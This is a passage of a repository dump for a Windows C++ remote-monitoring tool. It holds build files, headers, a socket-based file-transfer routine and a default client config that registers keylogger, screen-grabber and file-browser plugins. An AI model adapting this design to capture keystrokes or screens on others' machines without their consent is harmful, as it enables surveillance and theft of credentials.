├── .gitignore ├── ClientRM ├── ClientRM │ ├── ClientRM.sln │ └── ClientRM │ │ ├── CCM.cpp │ │ ├── CPM.cpp │ │ ├── Client.conf │ │ ├── ClientInclude.h │ │ ├── ClientRM.h │ │ ├── ClientRM.rc │ │ ├── ClientRM.vcproj │ │ ├── ClientRM.vcxproj │ │ ├── ClientRM.vcxproj.filters │ │ ├── ClientRMDef.def │ │ ├── Helpers.cpp │ │ ├── InitThread.cpp │ │ ├── MsgOnlyWndProc.cpp │ │ ├── StructureSizes.cpp │ │ ├── WinMain.cpp │ │ ├── WndProc.cpp │ │ ├── icon1.ico │ │ └── resource.h ├── FBrowzRM │ └── FBrowzRM │ │ ├── DLLMain.cpp │ │ ├── FBIncludes.h │ │ ├── FBrowzRM.cpp │ │ ├── FBrowzRM.vcproj │ │ ├── FBrowzRM.vcxproj │ │ └── FBrowzRM.vcxproj.filters ├── ImageGrab │ └── ImageGrab │ │ ├── ImageGrab.cpp │ │ ├── ImageGrab.vcproj │ │ ├── ImageGrab.vcxproj │ │ └── ImageGrab.vcxproj.filters ├── ImgGrbIt │ └── ImgGrbIt │ │ ├── ImgGrbIt.cpp │ │ ├── ImgGrbIt.vcproj │ │ ├── ImgGrbIt.vcxproj │ │ └── ImgGrbIt.vcxproj.filters ├── KeyLogIF │ └── KeyLogIF │ │ ├── DLLMain.cpp │ │ ├── HiddenWindow.cpp │ │ ├── KLTree.cpp │ │ ├── KeyLogIF.vcproj │ │ ├── KeyLogIF.vcxproj │ │ ├── KeyLogIF.vcxproj.filters │ │ ├── SleepTimer.cpp │ │ └── UpdateLogFile.cpp └── KeyLogger │ └── KeyLogger │ ├── DLLMain.cpp │ ├── DataTransfer.cpp │ ├── Initialization.cpp │ ├── KLTempLinkList.cpp │ ├── KeyLogger.vcproj │ ├── KeyLogger.vcxproj │ ├── KeyLogger.vcxproj.filters │ ├── ProcessKey.cpp │ └── ReadConfigFile.cpp ├── Exported-2017-06-03.vssettings ├── Include ├── DataStructures.h ├── FBrowzRM.h ├── ImageGrab.h ├── ImgGrbIt.h ├── KeyLog.h ├── Library.h ├── RMDefs.h └── SHA1.h ├── README.md ├── ServerRM ├── ServerRM.sln └── ServerRM │ ├── BuildKLTree.cpp │ ├── FBMonDP.cpp │ ├── Helpers.cpp │ ├── KeylogMonDP.cpp │ ├── MonitorDP.cpp │ ├── MsgOnlyWndProc.cpp │ ├── Plugins.dat │ ├── ResServerRM.h │ ├── SCM.cpp │ ├── SGMonDP.cpp │ ├── SPM.cpp │ ├── ScanIPAddresses.cpp │ ├── ServerConfigDP.cpp │ ├── ServerInclude.h │ ├── ServerRM ReadMe.txt │ ├── ServerRM.h │ ├── ServerRM.rc │ ├── ServerRM.vcproj │ ├── ServerRM.vcxproj │ ├── ServerRM.vcxproj.filters │ ├── ServerRMDef.def │ ├── StructureSizes.cpp │ ├── WinMain.cpp │ ├── WndProc.cpp │ ├── bitmap1.bmp │ ├── bitmap2.bmp │ ├── bitmap3.bmp │ ├── bitmap4.bmp │ ├── bitmap5.bmp │ ├── ico10.ico │ ├── ico4.ico │ ├── ico5.ico │ ├── ico9.ico │ ├── icon1.ico │ ├── icon2.ico │ └── icon3.ico ├── SetupFiles ├── ClientRM │ ├── ClientRM.sln │ └── ClientRM │ │ └── ClientRM.vdproj └── ServerRM │ ├── ServerRM.sln │ └── ServerRM │ └── ServerRM.vdproj └── Source ├── Library.cpp └── SHA1.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | 11 | # User-specific files (MonoDevelop/Xamarin Studio) 12 | *.userprefs 13 | 14 | # Build results 15 | [Dd]ebug/ 16 | [Dd]ebugPublic/ 17 | [Rr]elease/ 18 | [Rr]eleases/ 19 | x64/ 20 | x86/ 21 | build/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | 26 | # Visual Studio 2015 cache/options directory 27 | .vs/ 28 | 29 | # MSTest test Results 30 | [Tt]est[Rr]esult*/ 31 | [Bb]uild[Ll]og.* 32 | 33 | # NUNIT 34 | *.VisualState.xml 35 | TestResult.xml 36 | 37 | # Build Results of an ATL Project 38 | [Dd]ebugPS/ 39 | [Rr]eleasePS/ 40 | dlldata.c 41 | 42 | # DNX 43 | project.lock.json 44 | artifacts/ 45 | 46 | *_i.c 47 | *_p.c 48 | *_i.h 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.tmp_proj 63 | *.log 64 | *.vspscc 65 | *.vssscc 66 | .builds 67 | *.pidb 68 | *.svclog 69 | *.scc 70 | 71 | # Chutzpah Test files 72 | _Chutzpah* 73 | 74 | # Visual C++ cache files 75 | ipch/ 76 | *.aps 77 | *.ncb 78 | *.opendb 79 | *.opensdf 80 | *.sdf 81 | *.cachefile 82 | *.VC.db 83 | *.VC.VC.opendb 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | 90 | # TFS 2012 Local Workspace 91 | $tf/ 92 | 93 | # Guidance Automation Toolkit 94 | *.gpState 95 | 96 | # ReSharper is a .NET coding add-in 97 | _ReSharper*/ 98 | *.[Rr]e[Ss]harper 99 | *.DotSettings.user 100 | 101 | # JustCode is a .NET coding add-in 102 | .JustCode 103 | 104 | # TeamCity is a build add-in 105 | _TeamCity* 106 | 107 | # DotCover is a Code Coverage Tool 108 | *.dotCover 109 | 110 | # NCrunch 111 | _NCrunch_* 112 | .*crunch*.local.xml 113 | 114 | # MightyMoose 115 | *.mm.* 116 | AutoTest.Net/ 117 | 118 | # Web workbench (sass) 119 | .sass-cache/ 120 | 121 | # Installshield output folder 122 | [Ee]xpress/ 123 | 124 | # DocProject is a documentation generator add-in 125 | DocProject/buildhelp/ 126 | DocProject/Help/*.HxT 127 | DocProject/Help/*.HxC 128 | DocProject/Help/*.hhc 129 | DocProject/Help/*.hhk 130 | DocProject/Help/*.hhp 131 | DocProject/Help/Html2 132 | DocProject/Help/html 133 | 134 | # Click-Once directory 135 | publish/ 136 | 137 | # Publish Web Output 138 | *.[Pp]ublish.xml 139 | *.azurePubxml 140 | ## TODO: Comment the next line if you want to checkin your 141 | ## web deploy settings but do note that will include unencrypted 142 | ## passwords 143 | #*.pubxml 144 | 145 | *.publishproj 146 | 147 | # NuGet Packages 148 | *.nupkg 149 | # The packages folder can be ignored because of Package Restore 150 | **/packages/* 151 | # except build/, which is used as an MSBuild target. 152 | !**/packages/build/ 153 | # Uncomment if necessary however generally it will be regenerated when needed 154 | #!**/packages/repositories.config 155 | 156 | # Windows Azure Build Output 157 | csx/ 158 | *.build.csdef 159 | 160 | # Windows Store app package directory 161 | AppPackages/ 162 | 163 | # Visual Studio cache files 164 | # files ending in .cache can be ignored 165 | *.[Cc]ache 166 | # but keep track of directories ending in .cache 167 | !*.[Cc]ache/ 168 | 169 | # Others 170 | ClientBin/ 171 | [Ss]tyle[Cc]op.* 172 | ~$* 173 | *~ 174 | *.dbmdl 175 | *.dbproj.schemaview 176 | *.pfx 177 | *.publishsettings 178 | node_modules/ 179 | orleans.codegen.cs 180 | 181 | # RIA/Silverlight projects 182 | Generated_Code/ 183 | 184 | # Backup & report files from converting an old project file 185 | # to a newer Visual Studio version. Backup files are not needed, 186 | # because we have git ;-) 187 | _UpgradeReport_Files/ 188 | Backup*/ 189 | UpgradeLog*.XML 190 | UpgradeLog*.htm 191 | 192 | # SQL Server files 193 | *.mdf 194 | *.ldf 195 | 196 | # Business Intelligence projects 197 | *.rdl.data 198 | *.bim.layout 199 | *.bim_*.settings 200 | 201 | # Microsoft Fakes 202 | FakesAssemblies/ 203 | 204 | # Node.js Tools for Visual Studio 205 | .ntvs_analysis.dat 206 | 207 | # Visual Studio 6 build log 208 | *.plg 209 | 210 | # Visual Studio 6 workspace options file 211 | *.opt 212 | 213 | # LightSwitch generated files 214 | GeneratedArtifacts/ 215 | _Pvt_Extensions/ 216 | ModelManifest.xml 217 | 218 | # Project specific 219 | # Runtime files 220 | ServerRM.log 221 | Clients.dat 222 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientRM", "ClientRM\ClientRM.vcxproj", "{7FA69F05-7E75-4364-8CCD-32240228297E}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeyLogger", "..\KeyLogger\KeyLogger\KeyLogger.vcxproj", "{88EFC57B-6298-47ED-BACB-C9FD01E15534}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeyLogIF", "..\KeyLogIF\KeyLogIF\KeyLogIF.vcxproj", "{EBDB911F-7DD7-47BB-8750-0EC9385EFF4C}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImgGrbIt", "..\ImgGrbIt\ImgGrbIt\ImgGrbIt.vcxproj", "{29D9ACA9-FF2B-41D1-855F-CE942B38117A}" 11 | EndProject 12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImageGrab", "..\ImageGrab\ImageGrab\ImageGrab.vcxproj", "{46C0CA1E-60DB-4042-9E2E-D385D3214494}" 13 | EndProject 14 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FBrowzRM", "..\FBrowzRM\FBrowzRM\FBrowzRM.vcxproj", "{2C9FC81F-B75B-4E71-9F64-FF9E8825A287}" 15 | EndProject 16 | Global 17 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 18 | Debug|Win32 = Debug|Win32 19 | Release|Win32 = Release|Win32 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {7FA69F05-7E75-4364-8CCD-32240228297E}.Debug|Win32.ActiveCfg = Debug|Win32 23 | {7FA69F05-7E75-4364-8CCD-32240228297E}.Debug|Win32.Build.0 = Debug|Win32 24 | {7FA69F05-7E75-4364-8CCD-32240228297E}.Release|Win32.ActiveCfg = Release|Win32 25 | {7FA69F05-7E75-4364-8CCD-32240228297E}.Release|Win32.Build.0 = Release|Win32 26 | {88EFC57B-6298-47ED-BACB-C9FD01E15534}.Debug|Win32.ActiveCfg = Debug|Win32 27 | {88EFC57B-6298-47ED-BACB-C9FD01E15534}.Debug|Win32.Build.0 = Debug|Win32 28 | {88EFC57B-6298-47ED-BACB-C9FD01E15534}.Release|Win32.ActiveCfg = Release|Win32 29 | {88EFC57B-6298-47ED-BACB-C9FD01E15534}.Release|Win32.Build.0 = Release|Win32 30 | {EBDB911F-7DD7-47BB-8750-0EC9385EFF4C}.Debug|Win32.ActiveCfg = Debug|Win32 31 | {EBDB911F-7DD7-47BB-8750-0EC9385EFF4C}.Debug|Win32.Build.0 = Debug|Win32 32 | {EBDB911F-7DD7-47BB-8750-0EC9385EFF4C}.Release|Win32.ActiveCfg = Release|Win32 33 | {EBDB911F-7DD7-47BB-8750-0EC9385EFF4C}.Release|Win32.Build.0 = Release|Win32 34 | {29D9ACA9-FF2B-41D1-855F-CE942B38117A}.Debug|Win32.ActiveCfg = Debug|Win32 35 | {29D9ACA9-FF2B-41D1-855F-CE942B38117A}.Debug|Win32.Build.0 = Debug|Win32 36 | {29D9ACA9-FF2B-41D1-855F-CE942B38117A}.Release|Win32.ActiveCfg = Release|Win32 37 | {29D9ACA9-FF2B-41D1-855F-CE942B38117A}.Release|Win32.Build.0 = Release|Win32 38 | {46C0CA1E-60DB-4042-9E2E-D385D3214494}.Debug|Win32.ActiveCfg = Debug|Win32 39 | {46C0CA1E-60DB-4042-9E2E-D385D3214494}.Debug|Win32.Build.0 = Debug|Win32 40 | {46C0CA1E-60DB-4042-9E2E-D385D3214494}.Release|Win32.ActiveCfg = Release|Win32 41 | {46C0CA1E-60DB-4042-9E2E-D385D3214494}.Release|Win32.Build.0 = Release|Win32 42 | {2C9FC81F-B75B-4E71-9F64-FF9E8825A287}.Debug|Win32.ActiveCfg = Debug|Win32 43 | {2C9FC81F-B75B-4E71-9F64-FF9E8825A287}.Debug|Win32.Build.0 = Debug|Win32 44 | {2C9FC81F-B75B-4E71-9F64-FF9E8825A287}.Release|Win32.ActiveCfg = Release|Win32 45 | {2C9FC81F-B75B-4E71-9F64-FF9E8825A287}.Release|Win32.Build.0 = Release|Win32 46 | EndGlobalSection 47 | GlobalSection(SolutionProperties) = preSolution 48 | HideSolutionNode = FALSE 49 | EndGlobalSection 50 | EndGlobal 51 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/Client.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ClientRM/ClientRM/ClientRM/Client.conf -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientInclude.h: -------------------------------------------------------------------------------- 1 | 2 | // ** ClientRM project ** 3 | // Includes.h : Contains all the #includes required for ClientRM.exe 4 | 5 | #include 6 | #include 7 | #include // InitCommControls() 8 | #include // _wfopen_s(), fclose(), fprintf(), fscanf() 9 | #include // MAX_PATH 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include // _write 16 | #include 17 | 18 | #include "..\..\..\Include\RMDefs.h" 19 | #include "..\..\..\Include\DataStructures.h" 20 | #include "..\..\..\Include\SHA1.h" 21 | #include "..\..\..\Include\Library.h" 22 | #include "ClientRM.h" 23 | #include "resource.h" -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRM.h: -------------------------------------------------------------------------------- 1 | 2 | // * ClientRM project * 3 | // ClientRM.h: Main header file for the ClientRM exe 4 | 5 | // Function Pointer to DLL interface entry point 6 | typedef BOOL(__cdecl *PROCESSCMD)(RM_COMMAND, MNTRDATA*, PDATA __out **pPData); 7 | 8 | // ** Private Data Structures ** 9 | 10 | typedef struct tagDDLInfo { 11 | HMODULE hPluginDLL; 12 | PROCESSCMD hProcessCmd; 13 | }DLLINFO; 14 | 15 | // Data structures to store arguments to ClientComModule() 16 | typedef struct tagCCMArgs { 17 | RM_COMMAND cmd; 18 | CCMDATATYPE CCMDataType; 19 | }CCMARGS; 20 | 21 | 22 | // ** Function Prototypes ** 23 | 24 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow); 25 | LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 26 | LRESULT CALLBACK MsgOnlyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 27 | DWORD WINAPI InitThread(LPVOID lpParam); 28 | DWORD WINAPI DataReadyEventThread(LPVOID lpArgs); 29 | 30 | BOOL ClientPluginManager(RM_COMMAND cmd, const CPMARGS *CPMArgs, const SPMDATA *pSPMDataIn); 31 | BOOL ClientComModule(RM_COMMAND cmd, const CCMARGS *CCMArgs, const SCMDATA *SCMDataIn); 32 | 33 | 34 | // Helpers 35 | BOOL TransferFile(const WCHAR *pwszSourcepath); 36 | BOOL GetNextDate(WORD *wDate, WORD *wMonth, WORD *wYear); 37 | int ComputeStructSizes(); -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRM.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // English (U.S.) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US 21 | #pragma code_page(1252) 22 | #endif //_WIN32 23 | 24 | #ifdef APSTUDIO_INVOKED 25 | ///////////////////////////////////////////////////////////////////////////// 26 | // 27 | // TEXTINCLUDE 28 | // 29 | 30 | 1 TEXTINCLUDE 31 | BEGIN 32 | "resource.h\0" 33 | END 34 | 35 | 2 TEXTINCLUDE 36 | BEGIN 37 | "#include ""afxres.h""\r\n" 38 | "\0" 39 | END 40 | 41 | 3 TEXTINCLUDE 42 | BEGIN 43 | "\r\n" 44 | "\0" 45 | END 46 | 47 | #endif // APSTUDIO_INVOKED 48 | 49 | 50 | ///////////////////////////////////////////////////////////////////////////// 51 | // 52 | // Icon 53 | // 54 | 55 | // Icon with lowest ID value placed first to ensure application icon 56 | // remains consistent on all systems. 57 | IDI_APP_ICON ICON "icon1.ico" 58 | #endif // English (U.S.) resources 59 | ///////////////////////////////////////////////////////////////////////////// 60 | 61 | 62 | 63 | #ifndef APSTUDIO_INVOKED 64 | ///////////////////////////////////////////////////////////////////////////// 65 | // 66 | // Generated from the TEXTINCLUDE 3 resource. 67 | // 68 | 69 | 70 | ///////////////////////////////////////////////////////////////////////////// 71 | #endif // not APSTUDIO_INVOKED 72 | 73 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRM.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 55 | 58 | 61 | 64 | 75 | 78 | 81 | 84 | 87 | 90 | 93 | 96 | 97 | 105 | 108 | 111 | 114 | 117 | 120 | 131 | 134 | 137 | 140 | 152 | 155 | 158 | 161 | 164 | 167 | 170 | 173 | 174 | 175 | 176 | 177 | 178 | 183 | 186 | 187 | 190 | 191 | 194 | 195 | 198 | 199 | 202 | 203 | 206 | 207 | 210 | 211 | 214 | 215 | 218 | 219 | 222 | 223 | 226 | 227 | 228 | 233 | 236 | 237 | 240 | 241 | 244 | 245 | 246 | 251 | 254 | 255 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRM.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {7FA69F05-7E75-4364-8CCD-32240228297E} 15 | ClientRM 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | Application 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | Application 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | false 57 | MultiThreadedDebugDLL 58 | true 59 | 60 | 61 | Level3 62 | EditAndContinue 63 | 64 | 65 | comctl32.lib;Ws2_32.lib;Psapi.lib;%(AdditionalDependencies) 66 | ..\..\..\Debug\$(ProjectName).exe 67 | ClientRMDef.def 68 | true 69 | Windows 70 | true 71 | MachineX86 72 | 73 | 74 | 75 | 76 | MaxSpeed 77 | true 78 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 79 | MultiThreadedDLL 80 | true 81 | 82 | 83 | Level3 84 | ProgramDatabase 85 | 86 | 87 | comctl32.lib;Ws2_32.lib;Psapi.lib;%(AdditionalDependencies) 88 | ..\..\..\Release\$(ProjectName).exe 89 | ClientRMDef.def 90 | true 91 | Windows 92 | true 93 | true 94 | MachineX86 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | {2c9fc81f-b75b-4e71-9f64-ff9e8825a287} 124 | false 125 | 126 | 127 | {29d9aca9-ff2b-41d1-855f-ce942b38117a} 128 | false 129 | 130 | 131 | {ebdb911f-7dd7-47bb-8750-0ec9385eff4c} 132 | false 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | 50 | 51 | Source Files 52 | 53 | 54 | Resource Files 55 | 56 | 57 | 58 | 59 | Header Files 60 | 61 | 62 | Header Files 63 | 64 | 65 | Header Files 66 | 67 | 68 | 69 | 70 | Resource Files 71 | 72 | 73 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/ClientRMDef.def: -------------------------------------------------------------------------------- 1 | STACKSIZE 12582912,12582912 2 | -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/Helpers.cpp: -------------------------------------------------------------------------------- 1 | 2 | // * ClientRM Project * 3 | // Library.cpp: Commonly used user-defined functions 4 | 5 | #include "ClientInclude.h" 6 | 7 | SOCKET FTListenSocket = INVALID_SOCKET; 8 | 9 | BOOL TransferFile(const WCHAR *pwszSrcPath) { 10 | extern HWND hMsgOnlyWnd; 11 | 12 | int iRetVal; 13 | BOOL fError = FALSE; 14 | 15 | WSADATA wsaData; 16 | 17 | char szHostName[MAX_HOST_NAME + 1]; 18 | char *szHostIP; 19 | struct hostent *HostDetails; 20 | 21 | static struct sockaddr_in MyAddr; 22 | 23 | WCHAR wszSWMsg[MAX_SW_MSG + 1]; 24 | 25 | CCMARGS *pCCMArgs = NULL; 26 | 27 | __try { 28 | // initialize WSA 29 | if ((WSAStartup(MAKEWORD(2, 2), &wsaData)) != 0) { 30 | iRetVal = WSAGetLastError(); 31 | fError = TRUE; 32 | return FALSE; 33 | } 34 | PrintToStatusWindow(L"TransferFile() WSAStartup() called"); 35 | 36 | // get local hostname and IPaddress assigned 37 | // first, the hostname 38 | gethostname(szHostName, MAX_HOST_NAME); 39 | 40 | // get host details 41 | HostDetails = gethostbyname(szHostName); 42 | szHostIP = inet_ntoa(*(struct in_addr *)*HostDetails->h_addr_list); 43 | 44 | // create socket 45 | if ((FTListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { 46 | iRetVal = WSAGetLastError(); 47 | fError = TRUE; 48 | return FALSE; 49 | } 50 | 51 | // call WSAAsyncSelect() to force functions to be non-blocking 52 | if (WSAAsyncSelect(FTListenSocket, hMsgOnlyWnd, 53 | WM_FT_SOCKET_NOTIFY, FD_READ | // notification of readiness for reading 54 | FD_WRITE | // notification of readiness for writing 55 | FD_CLOSE | // notification of socket closure 56 | FD_ACCEPT) // notification of incoming connections 57 | == SOCKET_ERROR) { 58 | iRetVal = WSAGetLastError(); 59 | swprintf_s(wszSWMsg, MAX_SW_MSG + 1, L"WSAAsyncSelect() error %d", iRetVal); 60 | PrintToStatusWindow(wszSWMsg); 61 | fError = TRUE; 62 | return FALSE; 63 | } 64 | 65 | // bind socket to port 66 | MyAddr.sin_family = AF_INET; 67 | MyAddr.sin_port = htons(FTP_PORT); 68 | MyAddr.sin_addr.S_un.S_addr = inet_addr(szHostIP); 69 | 70 | if (bind(FTListenSocket, (SOCKADDR*)&MyAddr, sizeof(MyAddr)) != 0) { 71 | iRetVal = WSAGetLastError(); 72 | fError = TRUE; 73 | return FALSE; 74 | } 75 | 76 | // listen 77 | if (listen(FTListenSocket, 3) != 0) { 78 | iRetVal = WSAGetLastError(); 79 | fError = TRUE; 80 | return FALSE; 81 | } 82 | 83 | // notify client that it is ready 84 | if ((pCCMArgs = (CCMARGS*)malloc(sizeof(CCMARGS))) == NULL) 85 | return FALSE; 86 | 87 | pCCMArgs->cmd = CCMN_FT_READY; 88 | ClientComModule(CCM_SEND_NOTIFICATION, pCCMArgs, NULL); 89 | 90 | PrintToStatusWindow(L"FT: Waiting for an incoming connection..."); 91 | 92 | return TRUE; 93 | } 94 | __finally { 95 | if (fError == TRUE) 96 | closesocket(FTListenSocket); 97 | 98 | if (pCCMArgs) 99 | free(pCCMArgs); 100 | } 101 | 102 | }// TransferFile() 103 | 104 | BOOL GetNextDate(WORD *pDate, WORD *pMonth, WORD *pYear) { 105 | 106 | WORD wDate, wMonth, wYear; 107 | 108 | int iMaxMonthDays[] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; 109 | int iLeapMaxMonthDays[] = { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; 110 | 111 | wDate = *pDate; 112 | wMonth = *pMonth; 113 | wYear = *pYear; 114 | 115 | wDate++; 116 | 117 | // check leap year 118 | if ((wYear % 400 == 0) || ((wYear % 4 == 0) && (wYear % 100 != 0))) { 119 | if (wDate > iLeapMaxMonthDays[wMonth - 1]) // overflow 120 | { 121 | wDate = 1; 122 | wMonth++; 123 | if (wMonth > 12) { 124 | wMonth = 1; 125 | wYear++; 126 | } 127 | } 128 | } else { 129 | if (wDate > iMaxMonthDays[wMonth - 1]) // overflow 130 | { 131 | wDate = 1; 132 | wMonth++; 133 | if (wMonth > 12) { 134 | wMonth = 1; 135 | wYear++; 136 | } 137 | } 138 | } 139 | 140 | // set the _in_out arguments 141 | *pDate = wDate; 142 | *pMonth = wMonth; 143 | *pYear = wYear; 144 | 145 | return TRUE; 146 | 147 | }// GetNextDate() -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/InitThread.cpp: -------------------------------------------------------------------------------- 1 | 2 | // ** ClientRM project ** 3 | // InitThread.cpp : Function to initialize the CPM 4 | 5 | #include "ClientInclude.h" 6 | 7 | DWORD WINAPI InitThread(LPVOID lpParam) { 8 | extern CLIENTCONF g_ClientConf; 9 | extern WCHAR g_wszCWD[]; 10 | 11 | int iRetVal; 12 | int ErrorCode; 13 | int iConfigFile = 0; 14 | 15 | HWND hOwnerWnd = (HWND)lpParam; 16 | BOOL ErrorFlag = FALSE; 17 | 18 | CLIENTCONF ClientConf = { 0 }; 19 | 20 | // check whether config file exists 21 | if ((iRetVal = _wsopen_s(&iConfigFile, FP_HOST_CONF, _O_RDONLY | _O_BINARY, _SH_DENYWR, _S_IREAD | _S_IWRITE)) != 0) { 22 | if (iRetVal == ERROR_FILE_NOT_FOUND) { 23 | // create the file 24 | if ((iRetVal = _wsopen_s(&iConfigFile, FP_HOST_CONF, _O_WRONLY | _O_CREAT | _O_TRUNC | _O_BINARY, 25 | _SH_DENYRW, _S_IREAD | _S_IWRITE)) != 0) { 26 | // cannot create the file 27 | ErrorFlag = TRUE; 28 | ErrorCode = E_FILE_CREATION; 29 | SendMessage(hOwnerWnd, WN_INIT_DONE, ErrorCode, ErrorFlag); 30 | return FALSE; 31 | } 32 | 33 | // fill the config stucture 34 | ClientConf.nPlugins = 3; 35 | ClientConf.PluginInfo[0].iPluginID = KEYLOGGER; 36 | wcscpy_s(ClientConf.PluginInfo[0].wszPath, MAX_PATH + 1, L""); 37 | wcscpy_s(ClientConf.PluginInfo[0].wszName, MAX_FILE_NAME + 1, L"KeyLogger"); 38 | wcscpy_s(ClientConf.PluginInfo[0].wszDLLInterfaceName, MAX_FILE_NAME + 1, L"KeyLogIF.dll"); 39 | 40 | ClientConf.PluginInfo[1].iPluginID = SCREENGRABBER; 41 | wcscpy_s(ClientConf.PluginInfo[1].wszPath, MAX_PATH + 1, L""); 42 | wcscpy_s(ClientConf.PluginInfo[1].wszName, MAX_FILE_NAME + 1, L"ScreenGrabber"); 43 | wcscpy_s(ClientConf.PluginInfo[1].wszDLLInterfaceName, MAX_FILE_NAME + 1, L"ImgGrbIt.dll"); 44 | 45 | ClientConf.PluginInfo[2].iPluginID = FILEBROWSER; 46 | wcscpy_s(ClientConf.PluginInfo[2].wszPath, MAX_PATH + 1, L""); 47 | wcscpy_s(ClientConf.PluginInfo[2].wszName, MAX_FILE_NAME + 1, L"FileBrowser"); 48 | wcscpy_s(ClientConf.PluginInfo[2].wszDLLInterfaceName, MAX_FILE_NAME + 1, L"FBrowzRM.dll"); 49 | 50 | // write the structure to config file 51 | if (_write(iConfigFile, &ClientConf, sizeof(CLIENTCONF)) == -1) { 52 | _close(iConfigFile); 53 | iConfigFile = 0; 54 | ErrorFlag = TRUE; 55 | ErrorCode = E_FILE_CREATION; 56 | SendMessage(hOwnerWnd, WN_INIT_DONE, ErrorCode, ErrorFlag); 57 | return FALSE; 58 | } 59 | 